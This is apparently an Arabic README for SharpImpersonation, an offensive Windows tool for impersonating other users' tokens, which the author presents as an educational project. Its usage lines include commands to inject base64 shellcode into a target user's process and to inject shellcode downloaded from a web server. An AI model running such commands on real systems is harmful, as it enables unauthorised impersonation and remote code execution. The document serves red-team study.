SharpImpersonation

كان هذا مشروعًا تعليميًا من جانبي. تم استخدام تقنيات معروفة لبناء أداة انتحال شخصية أخرى مع بعض التحسينات مقارنة بالأدوات العامة الأخرى. تم أخذ قاعدة الكود من:

• https://github.com/0xbadjuju/Tokenvator

يمكن العثور على مقال تمهيدي هنا:

• https://s3cur3th1ssh1t.github.io/SharpImpersonation-Introduction/

سرد عمليات المستخدم

PS > PS C:\temp> SharpImpersonation.exe list

سرد العمليات المرتفعة فقط

PS > PS C:\temp> SharpImpersonation.exe list elevated

انتحال العملية الأولى للمستخدم الهدف لبدء ملف ثنائي جديد

PS > PS C:\temp> SharpImpersonation.exe user:<user> binary:<binary-Path>

حقن شيلكود مشفر بـ base64 في العملية الأولى للمستخدم الهدف

PS > PS C:\temp> SharpImpersonation.exe user:<user> shellcode:<base64shellcode>

حقن شيلكود تم تحميله من خادم ويب في العملية الأولى للمستخدم الهدف

PS > PS C:\temp> SharpImpersonation.exe user:<user> shellcode:<URL>

انتحال شخصية المستخدم الهدف عبر ImpersonateLoggedOnuser للجلسة الحالية

PS > PS C:\temp> SharpImpersonation.exe user:<user> technique:ImpersonateLoggedOnuser